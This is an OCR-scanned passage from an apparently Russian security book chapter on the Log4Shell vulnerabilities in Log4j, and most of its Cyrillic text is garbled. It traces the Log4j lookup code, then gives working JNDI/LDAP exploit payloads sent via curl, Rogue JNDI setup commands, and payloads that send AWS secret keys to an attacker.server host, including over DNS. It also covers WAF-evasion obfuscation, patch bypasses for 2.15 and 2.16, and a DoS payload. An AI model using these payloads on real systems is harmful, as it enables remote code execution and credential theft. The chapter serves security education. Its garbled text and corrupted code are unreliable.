} else if ((valueDelimiterMatchlen =
valueDelimiterMatcher.isMatch (varNameExprChars, i)) != 0) {

}

} else if ((valueDelimiterMatchlLen =
valueDelimiterMatcher.isMatch (varNameExprChars, i)) != 0) {

}

Tenepb HAQYHHACTCs CaMO€ HHTEPECHOE — BBI30OB METO/1A resolveVariable.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java

// resolve the variable
String varValue = resolveVariable (event, varName, buf, startPos, endPos);
if (varValue == null) {
varValue = varDefaultValue;
}

OH npeoOpa3syeT nepeaaHHble IEPEMEHHbIE B COOTBETCTBUH C UX COAEPIKHMBIM.
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org/apache/logging/logdj/core/lookup/StrSubstitutor.java
protected String resolveVariable (final LogEvent event, final String
variableName,

final StringBuilder buf,

final int startPos, final int endPos) {

CHauana co3gaercs untepgeiic strLookup.

org/apache/logging/logdj/core/lookup/StrSubstitutor.java

final StrLookup resolver = getVariableResolver () ;
if (resolver == null) {
return null;

org/apache/logging/logdj/core/lookup/StrSubstitutor.java

public StrLookup getVariableResolver() {
return this.variableResolver;

Ha orame co3maHms 3k3eMIuigipa Kiacca StrSubstitutor —HHHLMAIH3HPYETCS
variableResolver — B COOTBETCTBHH C YKa3aHHOH unu aedontHoi koHuUrypauuei.

CaMm mo cebe variableResolver — 3TO HHTEPIIOJIATOpP, B HEM YKa3aHO, KaKOH Kiacc-
pe3onBep OomkeH obpabaTeiBaTh coaepkuMoe obHapyxeHHOH mepeMeHHo. Ha moeit
MaIlnHe B 1e(QOITHON KOH(GHUTYPAIIHH HCITOJIB3YIOTCS TaKHe pe3osBepsl (puc. 16.8):
variableResolver = {Interpolator@l1558} "{date, java, marker, ctx, lower, upper,
jndi, main, jvmrunargs, sys, env, log4j}"
strLookupMap = {HashMap@5788} size = 12

"date" -> {DateLookup@5805}

"java" -> {JavaLookup@5807}

"marker" -> {MarkerLookup@5809}

"ctx" -> {ContextMapLookup@5811}

"lower" -> {LowerLookup@5813}

"upper" -> {UpperLookup@5815}

"jndi" -> {JIndiLookup@5817}

"main" -> {MapLookup@5819}

"jvmrunargs" -> {JmxRuntimeInputArgumentsLookup@5821}

"sys" -> {SystemPropertiesLookup@5823}

"env" -> {EnvironmentLookup@5825}

"log4j" -> {Log4jLookup@5827}

Ilanee BBI3BIBACTCSA METOO lookup.
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Puc. 16.8. flebonTHbie pe3onsepbl NnepemeHHbIX B Log4j

org/apache/logging/logdj/core/lookup/StrSubstitutor.java

return resolver.lookup (event, variableName) ;

org/apache/logging/log4j/core/lookup/Interpolator.java

public class Interpolator extends AbstractConfigurationAwareLookup {
public static final char PREFIX SEPARATOR = ':';

public String lookup (final LogEvent event, String var) {
if (var == null) {
return null;

Ch{napchconepmumoerwpemeHHoﬁ,HaxonnTnepBoeonxneﬂnezmoeTanﬂla3anu—
CBIBA€T NOACTPOKY OT [I€PBOIo OaiiTa A0 pa3acliuTeNs B prefix, @ OCTABUIYXOCS 4YACTh oe3
OBOCTOYHUSA — B name.

org/apache/logging/log4j/core/lookup/Interpolator.java

final int prefixPos = var.indexOf (PREFIX SEPARATOR) ;

if (prefixPos >= 0) {
final String prefix = var.substring (0, prefixPos) .toLowerCase (Locale.US);
final String name = var.substring(prefixPos + 1);
final StrLookup lookup = strLookupMap.get (prefix) ;

String value = null;
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if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup (event, name);

3areM Ha OCHOBE prefix BBIOMpaeT U3 CIIUCKA PE30JIBEPOB COOTBETCTBYOIMH Kiacc. Kak
TBl y)Xe Joragajics, B meiyoaae ${jndi:ldap://127.0.0.1/a}, jndi OyIeT 3Ha4eHHEM
prefix M YKa3aHHEM Ha TO, KaKOH pe30JIBep HY>KHO UCIOJIb30BaTh (puc. 16.9).

Puc. 16.9. MonyueHune pezonsepa n3 nepenaHHon CTPOKK

B naweil cutyauMn HMEHHO KJlaccy Jndilookup OyAeT mepenaHo AajibpHeiliee ynpasiie-
HHe. BpI3biBaeTcs MeTo[ Lookup.

org/apachel/logging/log4j/core/lookup/JndiLookup.java

@Plugin(name = "jndi", category = StrLookup.CATEGORY)
public class JndiLookup extends AbstractLookup {

public String lookup(final LogEvent event, final String key) {

if (key == null) ({
return null;

}

final String jndiName = convertdndiName (key) ;

try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
return Objects.toString(jndiManager.lookup (jndiName), null);

} catch (final NamingException e) {
LOGGER.warn (LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);
return null;

3710 U1 ecTh BCa Marus. 34ech s He Oyny BaaBaTbes B netanu o Java Naming and Direc-
tory Interface (https://ru.wikipedia.org/wiki/Java_Naming_ and_Directory_Interface)
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(JNDI), 310 BBIXOAMT 32 paMKH 0030pa. Ba>kHO TOJIBKO, 4TO C €ro MOMOLIBIO MOXHO BbI-
nosHuTh RCE (puc. 16.10).

Puc. 16.10. NMepenaya ynpasneHns knaccy-pesonsepy JndiLookup Ha OCHOBe cogepX1MMoro nemnoaaa

RCE yepe3 Log4j

UroOb! BHINOJIHUTH NPOU3BOJIBHBIA KO, HEOOXOAMMO NOAHATH CEpBEp, KOTOPHIH Iepe-
JAaCT MOJIE3HYI0 HAarpy3Ky Ha aTaKyeMylo MallHHY.

IIpn nonyuyenuu neinoana Java BEINOJHHUT JeCepHANH3alMIO, H IPOU30HIET BBI3OB yKa-
3aHHBIX KJIACCOB, YTO B MTOTe NPHBENET K 3ayCKy NMPOU3BOJBbHONH KOMaHAbL. s aBTO-
MaTH3aLH1H KCIUTyaTallii TaKOro BHJIA aTaK HalluCAHO MHOXKECTBO YTHIIMT —

ysoserial (https://github.com/frohoff/ysoserial),

marshalsec (https://github.com/mbechler/marshalsec),

Rogue JNDI (https://github.com/veracode-research/rogue-jndi).

Bossmem Rogue JNDI (https://github.com/veracode-research/rogue-jndi) nns passo-
oOpa3susi.

git clone https://github.com/veracode-research/rogue-jndi.git
KoMnunupyem yTHIHTY C IOMOLIBIO maven.

mvn package

3amyckaeM ee M B KayeCTBE apryMeHTa command YKa3bIBaeM KOMaHIy, KOTOPYIO XOTHM
BBINOJHUTS (pHUC. 16.11).

java -jar target/Roguedndi-1.1.jar --command "calc.exe"

B cocraBe HaeT HECKONBKO MeiI0afoB, HAC HHTEPECYET RemoteReference. ITO KJIACCH-
yeckas araka depe3 JNDI, kotopas Beaer k RCE uepe3 ynaneHHylo 3arpy3ky KJIaccoB
(puc. 16.12). Yka3biBaeM apec B Telle Halllero neioana.

Ecnu ThI He yBHIEN KaNBKYJIATOP, TO MO3APABIAI0, y TeOs HOBas Java. Jleno B ToM, 4TO B
Bepcuu Beile 8ul91 mo gedonty 3anpeuieHa yaaneHHas 3arpyska kiaccoB. OqHaKO 3TO
He MellaeT 3KCIUTyaTHPOBaTh YA3BUMOCTb, MCIHOJb3Ys JIOKAIbHbIE LEMOYKH raIKETOB.
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Java — s3b1k 6ubnHOTEK M HPEHMBOPKOB, H PEIKO BCTPEYAIOTCS CHTyallMH, A€ HCIOb-
3yeTcst YUCThIN KOJ Ha Java.

${indi:ldap://127.0.0.1:1389/0=reference}

B¥ Command Prompt - java -jar target/Roguelndi-1.1.jar --command “calc.exe”

Puc. 16.11. 3anyck ytunutel Rogue JNDI ans akcnnyatauuu yassumoctn CVE-2021-44228 B Log4j

| Cotcuitor

| = Standard =

Puc. 16.12. YcnewHas akcnnyaTtaums yassumoctn CVE-2021-44228 B Log4j

Akcnnyartauusa Logdj B Spring Boot RCE
Ha Java Bepcuu Bbiwie 8u19
PaccMoTpum monynspHbiii (GpeliMBOopk Spring. Yike roroBoe ysA3BUMOE MPHIIOKEHHE

MOXHO B3iTh M3 penosutopus logdshell-vulnerable-app  (https:/github.com/
christophetd/logdshell-vulnerable-app).

3anyc1<aeM €ro npy NOMOLIH gradle.
git clone https://github.com/christophetd/logd4shell-vulnerable-app.git
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cd log4shell-vulnerable-app
gradlew bootRun

B kayectBe mneinoana BbIOMpaeM Tomcat. I 3KCIUTyaTallkd MCHOJIb3yeTcs Hebe3omnac-
ueiii reflection B kiacce org.apache.naming.factory.BeanFactory. JTOT Kjacc H3
Tomcat conep>XuT JOruky ajis cozgaHus Beans ¢ momorupro peduexcud. Eciu Tol X0-
Yellb IOYUTATh OAPOOHEe 00 ITOH TEXHUKE, TO N100PO MOXKANOBATh B CTaThi0 Muxauna
CrenankunHa  (Michael  Stepankin)  Exploiting JNDI  Injections in Java
(https://www.veracode.com/blog/research/exploiting-jndi-injections-java).

B pe3ynbTare nosiy4yaercs Takoi neinoan:
${jndi:ldap://127.0.0.1:1389/o=tomcat}
OTHpaBJ’IHeM €Tr0 B KQYECTBE 3aroJjiIOBKa X-Api-Version.

curl -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/0o=tomcat}"’
http://127.0.0.1:8080/

U, Byans, HaOmonaeM KaibKyjsTop (puc. 16.13).

- i o TR I 1T 5% BRI = B

EXECUTING

Puc. 16.13. Skcnnyarauma
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He RCE eguHbIim

Breinonnenue KOoaa — 3TO, KOHE€YHO, 3aM€4YaTECJIbHO, HO YA3BHUMOCTb U 0e3 atoro CYJIUT
MHOTO npo6iem. /laBaif BCMOMHHUM, KaKo€ KOJIUYECTBO pe30aBepoB, moMuMo JNDI, 6b11u
00BSBIICHBI B variableResolver:

"date" -> {DateLookup@5805}

"java" -> {JavaLookup@5807}

"marker" -> {MarkerLookup@5809}

"ctx" -> {ContextMapLookup@5811}

"lower" -> {LowerLookup@5813}

"upper" -> {UpperLookup@5815}

"jndi" -> {JndiLookup@5817}

"main" -> {MapLookup@5819}

"jvmrunargs" -> {JmxRuntimeInputArgumentsLookup@5821}

"sys" -> {SystemPropertiesLookup@5823}

"env" -> {EnvironmentLookup@5825}

"log43j" -> {Log4jLookup@5827}

Bce ux MOXHO HcCHonb30BaTh TakuM ke oOpa3oM. PaccmoTpum, Hampumep, pes3osnBep
env. OH no3BosiseT monyyaTb JOCTYN K NEpPEeMEHHbIM OKpyxeHus. Ilompobyem uro-
HUOY b Oe3001IHOe, HanpuMep $ {env:0S}(puc. 16.14).

gradlew run --args='${env:0S}"'

¥ Select Command Prompt

Sl Lenv:0SH

main} ERROR logger.Test - Windows_N

Puc. 16.14. MonyyeHne nocTyna Kk NnepemMeHHbIM OkpYXeHus yepe3 log4j

DTO XOpOIII0, HO KaK HaM MOJY4YUTh 3HaUY€HHE 3TOH nepeMeHHoi ynaneHHo? JlaBaii Bep-
HEeMCsl K METONy substitute. Pa3bepeM nepeMeHHy10 substitutionInVariablesEnabled.

org/apache/logging/logdj/core/lookup/StrSubstitutor.java

private int substitute(final LogEvent event, final StringBuilder buf,
final int offset, final int length,
List<String> priorVariables) {

final boolean substitutionInVariablesEnabled =
isEnableSubstitutionInVariables ()

[To nedbonTy oHa ycTaHOBJIEHA B true — 3HAYUT, KOHCTPYKIHHU ${] MOTYT CaMH OBITb
JUHAMHUYECKUMH, TO €CTh COJEPXKaTh Ipyrie nepeMeHHbIE.
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org/apache/logging/logdj/core/lookup/StrSubstitutor.java

public boolean isEnableSubstitutionInVariables() ({
return enableSubstitutionInVariables;

org/apache/logging/logdj/core/lookup/StrSubstitutor.java

/t*
* The flag whether substitution' in variable names is enabled.
2/

private boolean enableSubstitutionInVariables = true;

Taxum o6pa3oM, MpH MAapCHHIE IPOBEPAETCS HCTHHHOCTh substitutionInvariables-
Enabled H, €CJIM 3HA4YCHHC HCTHHHO, HAaXOQUTCA HA4Yajo €IIe OIHO# KOHCTPYKIIHH ${.
Ee no3umus 3anuceiBaeTcs, a 3Ha4€HHUE nestedvarCount HHKPEMCHTHPYETCA.

org/apache/logging/logdj/core/lookup/StrSubstitutor.java

private int substitute(final LogEvent event, final StringBuilder buf,
final int offset, final int length,
List<String> priorVariables) {

final boolean substitutionInVariablesEnabled =
isEnableSubstitutionInVariables() ;

while (pos < bufEnd) {
if (substitutionInVariablesEnabled

&& (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd))
'=0) 4

org/apache/logging/log4j/core/lookup/StrSubstitutor.java

nestedVarCount++;
pos += endMatchLen;
continue;

[Tocne Toro kak Bcs cTpoka oOpaGoTaHa, MPOMCXOAUT PEKYPCHBHBIH BBI30B METOJA
substitute Ha4HHas ¢ caMoil riny6oko BiIOKeHHOH nepemeHHoH. To ecTh npeobpa3oBa-
HHE KOHCTPYKLIMH BUAA ${${${var}}) HAUMHAETCS C MEPEMEHHON ${var}. Takoe nosexe-
HHE OTKPBIBAET aTaKylOIUEMY I[IPOCTO KOJIOCCalbHOE KOJIMYECTBO PA3/IMUHBIX BEKTOPOB
JUISL aTaKH.

C 3THMH 3HaHMSMH BO3BpallaeMcs K HallleMy BOIPOCY: KaK MOJYYHTh 3HAa4EHHE Mepe-
MEHHO# ynaneHHo?

[lepBoe, 4TO MPUXOIUT B I'OJIOBY, — 3TO IPOCTO nepenats AaHHble B URI nnm B kayecTBe
napameTpoB Ha Ham cepBep. [laBait monpoOyeM 310 caenats. [[ns momyyeHHs HYXHOH
nHopmManuu HeoOX0gUMO nepenarts BanuaHoe LDAP-npuBeTCTBHE KIHEHTY, B KAYECTBE
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KOTOpPOTO BBICTYNAaeT ysA3BHMas MalllMHA. OMYJIHPYEM €ro, IMpocTO MEepeaaB HYKHYIO
6alT-CTpOKY uepes echo:

echo -e '0\x0c\x02\x01\x01a\x07\x0a\x01\x00\x04\x00\x04\00"' | nc -vv -1 -p 389
| xxd

B neiinoan 106aBUM HY>KHYIO [IEPEMEHHYIO OKpYskeHus (puc. 16.15).
gradlew run --args='${jndi:ldap://127.0.0.1/${env:0S}}"'

IMpocTop ans TBOpuecTBa 3/1eCh OrPOMHBIH. Hanpumep, MOXXHO mepenaTth KIKYH JOCTY-
ma or AWS.

${jndi:1ldap://attacker.server/${env:AWS SECRET_ACCESS KEY}}

75% EXECUTING [295]

€% MINGW64:/c/Users/ally

Puc. 16.15. Nepegaya nepeMeHHbIX OKPYXXEHWUA Ha cepBep aTakyioLlero

# Time

 22:4835 UTC

Type Payload Comment

DNS . sagfivitinisSeabglimiuzaa
Sagf5véitiris56gqbgsijiitn1e74vt

Description DNS query

The Collaborator server racaived a DNS lookup of type A for the domain name Windaws.NY.5agf5v6itiris56qbgsjiitn1e74vt. burpcoHat Tetl

[ Command Prompt - o X 1

Puc. 16.16. OTnpaBeka cogep>xMmoro nepeMeHHo okpyxxeHust yepe3 DNS-3anpoc
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Jaxe ecnu Ha ynaneHHoi MawnHe 3anpetieHbl TCP-konHekTsl, DNS-3anpocs! yaiie
BCEro XOIAT HOpMajbHO. B Takom cnywae mneiyioan npuoOperaer cieXyloliui BHI
(puc. 16.16).

${jndi:ldap://${env:AWS SECRET ACCESS KEY}.attacker.server/any}

MaHnunynsauumu c nevnoagom n ooxoast WAF

Tenepb cTOMT CcKa3aThk Napy CJIOB O pa3lM4HbIX TexHHKax obxona WAF. B nepByro oye-
penb oOpaTiM BHMMaHKHE Ha 00paboTKy npedukca 1 ONpeaeaeH s pe3oBepa.

org/apache/logging/log4j/core/lookup/Interpolator.java

public String lookup (final LogEvent event, String var) {
final String prefix = var.substring(0, prefixPos) .toLowerCase (Locale.US);

[Tpu BBINOIHEHUH PYHKIHH toLowerCase BCE CUMBOJIBI, IPOXOASLINE Uepe3 Hee, IPHUBO-
JATCS K YKa3aHHBIM PErHOHANBHBIM HacTpoHKaM (Locale.US). DTO Mo3BojsieT Opath mo-
X0XHe JIUTEPBI U3 APYTHX angaBUTHBIX CHUCTEM, U OHH OyayT npeoOpa3oBaHbI B MaKCH-
MaJlbHO NMOAXOsIIHKe aHrIuickue. TexHuka Ha3biBaeTcs Best-fit Mappings.

${Jndl:1dap://127.0.0.1/${env:0S}}

Tako¥ BeKTOp TOXke OTIIM4YHO oTpabatbiBaeT (puc. 16.17).

MINGW64:/c/Users/al Ly

Puc. 16.17. icnonb3oBaHWe NOXOXUX CUMBOMOB U3 ApYrMx andasnToB
npu akcnnyatauum ysassumoctu B Log4j

ITomumo 3TOro, BO3MOXXHOCTb HCII0JIb30BaTh BJIOXKCHHBIE IEPEMEHHBIE OTKPBIBAET IUH-
POKHI IPOCTOP [Tl CO3/IaHHsI YHHUKaNbHBIX Neinoanos. [TocMOTpHUM Ha pe30JiBepHl lower
H upper.

"lower" -> {LowerLookup@5813}

"upper" -> {UpperLookup@5815}
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Kak TbI NOHI U3 Ha3BaHHA, OHH MPeOOPasyIOT TEKCT B HHKHHUA H BEPXHHUH PETHCTP CO-
OTBETCTBEHHO. MOXHO YKa3blBaTb OAHH HJIM HECKOJIBKO CUMBOJIOB 4JI TpaHC(i)OpMaLlP[H.
Hcnonb3ys 3TH pe30JBepSI, MOJIE3HYI0O HATPY3Ky MOXHO TpaHCHOpMHpPOBATh B Cleaylo-
UM BUA:

${S{upper:Jj}${lower:n}S{upper:d}i:${lower:1}d${lower:ap}://127.0.0.1/${env:0S}}

Tonbko He UCTONB3YH BEPXHHUIl pETUCTP B cxeMe (ldap), TaK KaK OHa PErHCTPO3aBUCHMA
M LDAP://127.0.0.1 yXe He NPHUBEJET KOHHEKT K TBOEMY CEpBEpY.

Tenepp paBali eme pa3 BepHEMCs K MpOBEpKE 3HAYEHHs INEPEMEHHOH B METOJE
substitute, K TOMy KyCKYy KOJa, 4TO 51 IPOIMYCTHJI BHAYaJe.

org/apachel/logging/logdj/core/lookup/StrSubstitutor.java

if (valueDelimiterMatcher != null) {
final char [] varNameExprChars = varNameExpr.toCharArray();
int valueDelimiterMatchlLen = 0;
for (int i = 0; i < varNameExprChars.length; i++) {

if (valueEscapeDelimiterMatcher !'= null) {
int matchLen = valueEscapeDelimiterMatcher.isMatch (varNameExprChars, 1i);
if (matchLen != 0) {

} else if ((valueDelimiterMatchlLen =
valueDelimiterMatcher.isMatch (varNameExprChars, 1)) != 0) {

varName = varNameExpr.substring(0, 1i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;

1

} else if ((valueDelimiterMatchlen =
valueDelimiterMatcher.isMatch (varNameExprChars, 1i)) != 0) {

varName = varNameExpr.substring(0, 1i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen) ;
break;

31ech KOHCTPYKIHSA valueDelimiterMatcher.isMatch MPOBEPSET COAEP)KUMOE MEPEMEH-
HOH Ha HaJW4yHe IBOETOYHSA U MHHYCa. Onu HCMNOJB3YKOTCA AJid TOTO, 4TOOBI YKa3aTtb ae-
¢dbonTHOE 3HaUEHHE, €CIM pe30JIBep BEpPHET false. Hampumep, nmepeMeHHas OKpYXEHHs,
KOTOPYIO MBI 3ampalidBaeM, He cynecTByer. [lepenaya nepeMeHHOH ¢ AedONATHBIM 3Ha-
YeHHEM HUMEET ClieayIomui ¢popMar:

$ {pezonBep:nepeMeHHas : ~NeQONTHOE 3HAUEHNE }

Ham npuMep ¢ HecymecTBYIOIIEH NMepeMEHHOH OKpYy>XeHHs OyIeT BBIMIAAETh KaK-TO
TaK:

${env:ANYTHING:-hello}
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ITpuyeM KOJIHYECTBO IBOETOYHH BO BTOPOM CJIydae MOXET OBITh JIFOOBIM.

¥ Select Command Prompt

Puc. 16.18. YkasaHne 4ehoNnTHbIX 3HAa4YEHWIH B CTPOKOBbIX NepemeHHbIX ${}

Taxxxe MOXHO COBCEM HE YKa3bIBaTh pe30JiBep. Torna METol resolveVariable Momnpo0y-
€T IPUMEHHUTDb PE30JIBEP M0 YMOJIYaHHIO — MapLookup. M €cnu OH BEpHET null, To Oyner
HCIONb30BaThCs AePOATHOE 3HAaUEHHE, KOTOPOE MBI nepenant (puc. 16.18).

${::-hello}
org/apache/logging/logdj/core/lookup/StrSubstitutor.java

// resolve the variable
String varValue = resolveVariable (event, varName, buf, startPos, endPos);
if (varValue == null) {

varValue = varDefaultValue;

Puc. 16.19. [leponTHOe 3Ha4YeHUe nepemeHHON 6e3 ucnonb3osaHus pesonsepa B Logdj

PoBHO Takoe e moBefeHHe OyAeT Npu HecyllecTByIoLIeM pe3oiBepe (puc. 16.19, 16.20).
Torna arakyroluii neinoan MoxeT npuodperatb coBceM 0e3yMHBIH BH.

${S${:::::-7}${lower:N}S${env:0LOLOLO:~-d}1:${::~1}${:ANYANY:-d}${ASDF:DSFA: -
alp://127.0.0.1/${env:0S}}

U Taxoe Toxe ycnemHo otpabatsiBaet (puc. 16.21).



Command Prompt

Puc. 16.20. ledonTHOe 3Ha4eHWe nepemMeHHOM
npy NCNONb30BaHWMN HECYLLECTBYIOLEro pe3oneepa B Log4j

B8 Cormmand Prompt gradiew run --arg

&5 MINGWB4:/c/Users/at Ly

Puc. 16.21. Skcnnyataums ys3asBuMocTyv B Log4j npu nomoLum 06@ycLmpoBaHHOM NONE3HON Harpy3ku

bnokupoBatp uto-To monobHoe WAF-cucreMamMu, KOTOpbIE OCHOBAaHBI Ha PEryJspKax,
caM [IOHUMaellb, 3aHATHE HE U3 IPUATHBIX.

MaTum n nx obxoabl

Hacrano BpPEM: IIOTOBOPHUTH O 3arj1aTKax 4Jisd YA3BUMOCTH.

[TepBoe, YTO peKOMEHI0BaNH, — 3TO YCTAHOBUTH (1ar formatMsgNoLookups HIIH IEpe-
MEHHYIO OKPY>KEHHsI LOG4J FORMAT MSG NO LOOKUPS B true, YTOOBI I€pEMEHHbIE B JIOTH-

pyeMbIX coObITHSX He oOpabarteiBanuch. Takoe pemieHue nmoaxomut st Logd) Bepcuit
2.10 u BeILE (pHuC. 16.22).

3TO AEHCTBUTENBHO MOMOTAET, TONBKO BOT Aaleko He Bcerga. [IpuunHa B TOM, 4YTO B
Log4j Bce ele cylmecTBYIOT MecTa B KOJ€, I/Ie MOXET MPOUCXOIUTh 00paboTka mepe-
MEHHBIX B JIOTHpyeMbIX coObITHsX. Hampumep, ecnu mpuiioxeHHe HCHOJIb3YeT KOHCT-
PYKLMH BHAA Logger.printf (level, "%s", userInput) HJIM CBOH KaCTOMHBIH KJIACC Jis
JIOTUPOBAHHS, TJI€ HE PEANM3YETCA StringBuilderFormattable (puc. 16.23).
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¥ {0g472. tormatMsgNol cokups=truecll

g432.1

Puc.16.22. dukc ysssumoctun B Log4j npu nomowm dnara formatMsgNolLookups

ogger

logger.pri

Puc. 16.23. O6xoa dukca ys3sumocTu B Log4j.
YcnewHas 3kcnnyaTauus ¢ yctaHoBneHHbiM conarom formatMsgNoLookups

MoryT cyiiecTBOBaTbh U ApyrHe BEKTOPBI aTaK, TaK YTO MCIOJB30BaTh 3TOT METOA (uKca
HE PEKOMEHIYEeTCHl.

[TepBsiii opuLMATBHBIA NAaTU TOSABHIICA B Bepcuu 2.15. B Heil BO3MOXHOCTb MCIIOJIb30-
BaTh MEPEMEHHbIE B COOOILIEHUAX MO NedONITy OTKJIIOYHIIH, HO B KOHGHUrax 3TO IO-
npexxHemy padortaet. Ans JNDI-koHHEKTOB ObLT BBEIEH MEXaHHU3M OeNbIX CITUCKOB, KO-
TOpBI MO yMoJlYaHHWIO paspemaeT Toyibko localhost. Ecnu ucnonb3yercs kacTOMHBIN
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wabJIoH JIOTHPOBaHMs, TJE MOJb30BATEILCKHE JaHHbIE KaKMM-TO 00pa3oM MOmajarT B
Thread Context Map (MDC), To 3kcTyaTaiis y13BUMOCTH BCE €llle BO3MOXHa.

Paccmotpum Ha mnpumepe. Bossmem ¢opk penozuropus logdshell-vulnerable-app
(https://github.com/kmindi/log4shell-vulnerable-app) Kas  Munnepmana  (Kai
Mindermann).

git clone https://github.com/kmindi/log4shell-vulnerable-app.git log4shell-
vulnerable-app-2

cd log4shell-vulnerable-app-2

PackoMMeHTHpY# CTPOKY B build.gradle, 4TOOBI HCIIOJIB30BaTh HOBYIO BepcHio Logd;.

build.gradle

configurations.all f{
resolutionStrategy.eachDependency { DependencyResolveDetails details ->
if (details.requested.group == 'org.apache.logging.log4j') {
details.useVersion '2.15.0'

B 3ToM (opke HEMHOTO H3MEHeH alJIOH JIOTHPOBAaHHUS
(https://github.com/kmindi/log4shell-vulnerable-app/commit/
€539f7e9a0c81e2¢c580d63caffSfdeac14033119).

src/main/resources/log4j2.properties

appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss}
%-5p %c{l}:%L - %m%n

M meton JIOTHPOBaHUs I10JIb30BATCIIBCKUX JAHHBIX.

src/main/javalfr/christophetd/log4shell/vulnerableapp/
MainController.java

@GetMapping ("/")

public String index (@RequestHeader ("X-Api-Version") String apiVersion) {
// Add user controlled input to threadcontext;
// Used in log via ${ctx:apiversion}
ThreadContext.put ("apiversion", apiVersion);

logger.info ("Received a request for API version ");
return "Hello, world!";

gradlew bootRun
curl -H 'X-Api-Version: ${env:0S}' 127.0.0.1:8080
curl -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/o0=tomcat}' 127.0.0.1:8080
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Ternepp 3HaUE€HHE U3 3aroJIOBKA X-Api-Version MepeNaeTcs B NEPEMEHHYIO apiversion
yepe3 ThreadContext. B TakOoM citydae 3kcIutyaTanus BCe TakK jk€ BO3MOXKHA. EMHHCTBEH-
HOE, YTO OocTaHaBiuBaeT OT noyiHoueHHoro RCE, — 310 orpaHuyeHne KOHHEKTOB 4epe3
JNDI Tonsko k nokansHeiM agpecam. Ho cBoeoOpasubiii LCE (Local Code Execution :-))
BCE €€ MOXHO PUMEHSTh, HAPHMEP KaK BEKTOP IS OAHSTUA puBHIIeryii (puc. 16.24).

B0% EXECUTING [1m 57s5]

Caleylator

= Standard W

@l Command Prompt - java -jar target/Rogueindi-1.1jar --command “calc.exe”

Puc. 16.24. O6xog dukca ysasumocTu B Log4j 2.15.
YcnetwHas akcnnyartaums Yepe3 ThreadContext

OTa BO3MOXHOCTh 3KCIUTyaTallHH MNOJy4YHsa OTAeNbHbIH uaeHTHduxatop CVE-2021-
45046 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046).

ITocne Toro xak pa3pabOTYHKH MOHSIIH, YTO MAaT4 MOJYYHIICS HE COBCEM YIAYHBIM, BBI-
nua oyepenHas Bepcus Logdj — 2.16. Kaszanoce Obl, Ha 3TOT pa3 Bce JOJDKHO OBITh HC-
npaBleHO Kak HyxHOo. Ho npucTanbHOe BHUMaHHE CO CTOPOHBI HccllenoBartenel ObICTpo
JlaJI0 CBOM IJI0JBI — HallleJIcs crioco0 BBI3BATh OTKa3 B 00CITy>XHBaHHH. JTa YSI3BUMOCTh
cHoBa monydaer cBoii uuaeHtHoukatop CVE-2021-45105 (https://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2021-45105). DOkcninyatauus OnsTe BO3MOXKHA, TOJIBKO
KOTJa UCMOJIB3YIOTCS HECTaHJapTHBIE IA0IOHEBI IOTHPOBAHHSL.

Oobparumcst Bee k ToMy ke ¢opky logdshell-vulnerable-app. 3nech mabnoH ysa3BuM 1 A1
3TOH aTakH.
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src/main/resources/log4j2.properties

appender.console. layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss}
%-5p %c{l}:%L - %m%n

Ecau aTaKy}oumﬁ nepenacTt ${ctx:apiversion}, 3TO BbI30BET OECKOHEUHbIE MOMBITKH
npeo6pa3osamm nepememioﬁ HB pa60Te TMPpUIIOKEHUA npomoﬁneT HCKJIKOUYCHHE.

O6Hnosnsem Bepcuio Logdj B koH(UTe U TECTHPYEM YA3BUMOCTb.

build.gradle

configurations.all {

resolutionStrategy.eachDependency { DependencyResolveDetails details ->
if (details.requested.group == 'org.apache.logging.log4j') f{

details.useVersion '2.16.0"'

bash
curl -H 'X-Api-Version: ${ctx:apiversion}' 127.0.0.1:8080

&% MINGWS4:/d/VisualHack

Puc. 16.25. Skcnnyataumsa DoS-ysssumoctn CVE-2021-45046 B Log4j 2.16.0
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B ouepennoM Ounne — Bepcuu 2.17 — OCHOBHBbIE NPOOJIEMBI, KaXETCs, 3aKOHYHIIHCH.
beima obOHapyxeHa ewme onHa ysa3BUMOCTh C uaeHTH(ukaropom CVE-2021-44832
(https://cve.mitre.org/cgi-bin/cvename.cgi’name=CVE-2021-44832), Ho ycnoBus s
€€ YCIEIIHOH 3KCIIyaTallui JOBOJBHO CYpOBBI (pHC. 16.25). AtakyrolieMy HyXeH I0C-
Ty A7 U3MEHEHHs1 KOHGUIypauui jorupoBanus. B TakoM ciiyyae OH MOXET CreHepH-
poBaTh KOHGUIypauHio, IA€ MOXHO BBIIOJHHTh NPOU3BONBHBIA Kkox uepe3 JDBC
Appender ¢ UCTOYHHKOM JaHHBIX, ccelnamommmMes Ha JNDI URIL O6 stom s, noxanyi,
pacckaxy kak-HHOynp B Ipyroi pas, a Thl CKopee OOHOBIJIAHCS Ha CaMylO HOCJIEIHION0
Bepcuro Logdj 2.17.1.

Ha Buzeo https://player.vimeo.com/video/665137188 noka3ana HarnsaHas JeMOHCTpa-
LU YSA3BUMOCTH.

BbiBOoAbI

B aToM paszgene Mbl pacCMOTpENH OYEHb HHTEPECHYIO H OMACHYIO C TOYKH 3peHHs MOo-
CIIEICTBUH YSA3BUMOCTb. JIErKoCTh 3KCIUTyaTallii OPOJHIa HacTosMK 6yM B ceTH, Bce-
BO3MOXHBIE JIOTH HayYaJd MyXHYTb OT HAJIHYHA B HUX 3alMCEH, CONEpPMKAIUMX 3aBETHbBIE
${jndi:ldap://}. Log4Shell no npaBy cran camoii ropsueil ysS3BUMOCTBIO yXOISILETO
roga. Jlymaro, 4To MBI €lie goaroe Bpems OylaeM BHAETh Ha mpocTopax GarbayHTH pe-
TOPTBI, I€ 3Ta NMpobIeMa BCIUIBIBAET B CAMbIX HEOXKHIAHHBIX MECTaX.

YAUBHTENBHO, KaK 0ar ¢ TaKUM MPOCTBIM BEKTOPOM 3KCIUTyaTalMM OCTAaBaJCs B TEHH
